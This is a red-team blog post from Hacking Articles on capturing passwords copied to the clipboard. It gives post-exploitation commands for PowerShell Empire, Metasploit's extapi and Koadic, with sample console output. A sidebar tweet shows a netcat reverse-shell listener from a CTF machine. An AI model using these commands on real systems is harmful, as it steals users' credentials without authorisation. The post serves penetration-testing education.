

# Hacking Articles

## Raj Chandel's Blog

---

### Credential Dumping: Clipboard

posted in **RED TEAMING** on **APRIL 20, 2020** by **RAJ CHANDEL**









SHARE

In this article, we learn about online password managers and dumping the credentials from such managers via clipboard. Passwords are not easy to remember especially when passwords are made up of alphanumeric and special characters. And these days, there are passwords for everything. And keeping the same password for every account is insecure. Therefore, we have many password managers such as KeePass, bitwarden and many others that help us save all of our passwords.

#### Table of Content:

- PowerShell Empire
- Metasploit Framework
- Koadic

In our practical, we have used bitwarden password manager to keep our password secure. It's feasible to use and even if we forget our password, we can just copy it from there and paste it where we require it. As you can see in the image below, we have saved our password in bitwarden. And we copy it from there.

Close	View Item	Edit
ITEM INFORMATION		
Name	Ignite Server	
Username	rajchandel	
Password	.....	  
URI	www.ignitetechnologies.in	
 Clone Item		
Updated: Apr 11, 2020, 6:31:54 AM		

## PowerShell Empire

If these credentials are copied by someone then we can retrieve them by using various methods. PowerShell Empire has such a module; after having a session through the empire, use the following commands to execute the module:

```
1 usemodule collection/clipboard_monitor
2 execute
```

```
(Empire: P58TDG61) > usemodule collection/clipboard_monitor
(Empire: powershell/collection/clipboard_monitor) > execute
[*] Tasked P58TDG61 to run TASK_CMD_JOB
[*] Agent P58TDG61 tasked with task ID 1
[*] Tasked agent P58TDG61 to run module powershell/collection/clipboard_monitor
(Empire: powershell/collection/clipboard_monitor) >
Job started: WUSAT1

=== Get-ClipboardContents Starting at 11/04/2020:06:36:53:02 ===
```

Once the module is executed, whenever the copied password is pasted as shown in the image below:

Then those credentials will be displayed in the console as shown in the image below:

## Meterpreter Framework

In Metasploit, when you have a meterpreter session, it provides you with a different set of commands. One of those commands is **load extapi**, this command opens a door to various features of meterpreter session. All of these features can be viewed using a question mark (?). One feature of extapi is clipboard management commands. We will use a clipboard management command through extapi to dump the credentials which can be copied to clipboard. For this, type:

```
1 | load extapi
2 | clipboard_monitor_start
```

And as you can see in the image above, we have username and password through clipboard management command.

## Koadic

Just like PowerShell empire, Koadic has an inbuilt module for dumping the clipboard data. Once you have a session in koadic, type the following commands to get the clipboard data:

```
1 | use clipboard
2 | execute
```

And this way, again, we have the credentials.

**Author: Yashika Dhir** is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact [here](#)

---

## ABOUT THE AUTHOR

### RAJ CHANDEL

Raj Chandel is Founder and CEO of Hacking Articles. He is a renowned security evangelist. His works include researching new ways for both offensive and defensive security and has done illustrious research on computer Security, exploiting Linux and windows, wireless security, computer forensic, securing and exploiting web applications, penetration testing of networks. Being an infosec enthusiast himself, he nourishes and mentors anyone who seeks it.

---

PREVIOUS POST

← **WINDOWS PERSISTENCE USING NETSH**

NEXT POST

**RDP SESSION HIJACKING WITH TSCON** →

## Leave a Reply

Your email address will not be published. Required fields are marked \*

Comment

Name \*

Email \*

Website

☐ Notify me of follow-up comments by email.

☐ Notify me of new posts by email.

**POST COMMENT**

Search

ENTER KEYWORD

Subscribe to Blog  
via Email

Email Address

**SUBSCRIBE**

Join our Training  
Programs



Follow me on  
Twitter



## Hacking Articles

@hackinarticles

Admirer HacktheBox

Rooted@hackthebox eu #hackt

#oscp #infosec #hacking #cyber

```
[root@kali:~]# nc -lvp 4444
listening on [any] 4444 ...
10.129.77.71: inverse host lookup failed: Unknown host
connect to [10.10.14.52] from (UNKNOWN) [10.129.77.71]
root@admirer: # cd /root
cd /root
root@admirer: # ls
ls
root.txt
root@admirer: # cat root.txt
cat root.txt
e95fec...7238
root@admirer: #
```



## Categories

- 🔖 [Cryptography & Steganography](#)
- 🔖 [CTF Challenges](#)
- 🔖 [Cyber Forensics](#)
- 🔖 [Database Hacking](#)
- 🔖 [Footprinting](#)
- 🔖 [Hacking Tools](#)
- 🔖 [Kali Linux](#)
- 🔖 [Nmap](#)
- 🔖 [Others](#)
- 🔖 [Password Cracking](#)
- 🔖 [Penetration Testing](#)
- 🔖 [Pentest Lab Setup](#)
- 🔖 [Privilege Escalation](#)
- 🔖 [Red Teaming](#)
- 🔖 [Social Engineering Toolkit](#)
- 🔖 [Uncategorized](#)
- 🔖 [Website Hacking](#)

🔖 **Window Password  
Hacking**

🔖 **Wireless Hacking**

## Articles

Select Month

---